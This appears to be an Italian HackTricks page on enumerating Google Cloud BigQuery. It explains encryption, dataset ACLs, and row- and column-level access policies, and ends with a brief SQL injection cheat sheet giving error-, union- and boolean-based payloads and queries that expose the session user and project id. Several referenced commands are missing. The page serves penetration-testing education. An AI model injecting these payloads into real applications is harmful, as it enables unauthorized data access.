GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery è un data warehouse aziendale completamente gestito e senza server, che offre capacità per l'analisi di petabyte di dati, gestendo così dataset su larga scala in modo efficiente. Come Platform as a Service (PaaS), fornisce agli utenti infrastruttura e strumenti per facilitare la gestione dei dati senza la necessità di supervisione manuale.
Supporta le query utilizzando ANSI SQL. Gli oggetti principali sono dataset contenenti tabelle che contengono dati SQL.
Per impostazione predefinita viene utilizzata una chiave di crittografia gestita da Google, anche se è possibile configurare una chiave di crittografia gestita dal cliente (CMEK). È possibile indicare la chiave di crittografia per dataset e per tabella all'interno di un dataset.
È possibile indicare un tempo di scadenza nel dataset in modo che qualsiasi nuova tabella creata in questo dataset venga eliminata automaticamente dopo il numero specificato di giorni dalla creazione.
Bigquery è profondamente integrato con altri servizi Google. È possibile caricare dati da bucket, pub/sub, google drive, database RDS...
Quando viene creato un dataset, le ACL vengono collegate per dare accesso ad esso. Per impostazione predefinita, vengono concessi privilegi di Proprietario all'utente che ha creato il dataset e poi Proprietario al gruppo projectOwners (Proprietari del progetto), Scrittore al gruppo projectWriters e Lettore al gruppo projectReaders:
È possibile controllare le righe a cui un principale potrà accedere all'interno di una tabella con le politiche di accesso alle righe. Queste sono definite all'interno della tabella utilizzando DDL. La politica di accesso definisce un filtro e solo le righe corrispondenti a quel filtro saranno accessibili dai principali indicati.
Per limitare l'accesso ai dati a livello di colonna:
Definire una tassonomia e tag di policy. Crea e gestisci una tassonomia e tag di policy per i tuoi dati. https://console.cloud.google.com/bigquery/policy-tags
Facoltativo: Concedi il ruolo di Lettore Fine-Grained del Catalogo Dati a uno o più soggetti su uno o più dei tag di policy che hai creato.
Assegna i tag di policy alle tue colonne di BigQuery. In BigQuery, utilizza le annotazioni dello schema per assegnare un tag di policy a ciascuna colonna dove desideri limitare l'accesso.
Applica il controllo degli accessi sulla tassonomia. L'applicazione del controllo degli accessi fa sì che le restrizioni di accesso definite per tutti i tag di policy nella tassonomia vengano applicate.
Gestisci l'accesso sui tag di policy. Utilizza le politiche di Identity and Access Management (IAM) per limitare l'accesso a ciascun tag di policy. La politica è in vigore per ciascuna colonna che appartiene al tag di policy.
Quando un utente tenta di accedere ai dati di una colonna al momento della query, BigQuery controlla il tag di policy della colonna e la sua politica per vedere se l'utente è autorizzato ad accedere ai dati.
In sintesi, per limitare l'accesso a alcune colonne per alcuni utenti, puoi aggiungere un tag alla colonna nello schema e limitare l'accesso degli utenti al tag applicando il controllo degli accessi sulla tassonomia del tag.
Per applicare il controllo degli accessi sulla tassonomia è necessario abilitare il servizio:
È possibile vedere i tag delle colonne con:
Per ulteriori informazioni puoi controllare il post del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Qui verranno forniti solo alcuni dettagli.
Commenti:
select 1#from here it is not working
select 1/*between those it is not working*/
Ma solo il primo non funzionerà
select 1--from here it is not working
Ottieni informazioni sull'ambiente come:
Utente corrente: select session_user()
ID progetto: select @@project_id
Concatena righe:
Tutti i nomi delle tabelle: string_agg(table_name, ', ')
Ottieni i nomi di dataset, tabelle e colonne:
Nome del progetto e del dataset:
Nomi delle colonne e delle tabelle di tutte le tabelle del dataset:
Altri dataset nello stesso progetto:
Tipi di SQL Injection:
Basato su errore - casting: select CAST(@@project_id AS INT64)
Basato su errore - divisione per zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basato su union (devi usare ALL in bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basato su booleano: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potenzialmente basato su tempo - Esempio di utilizzo di dataset pubblici: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentazione:
Elenco di tutte le funzioni: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Dichiarazioni di scripting: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)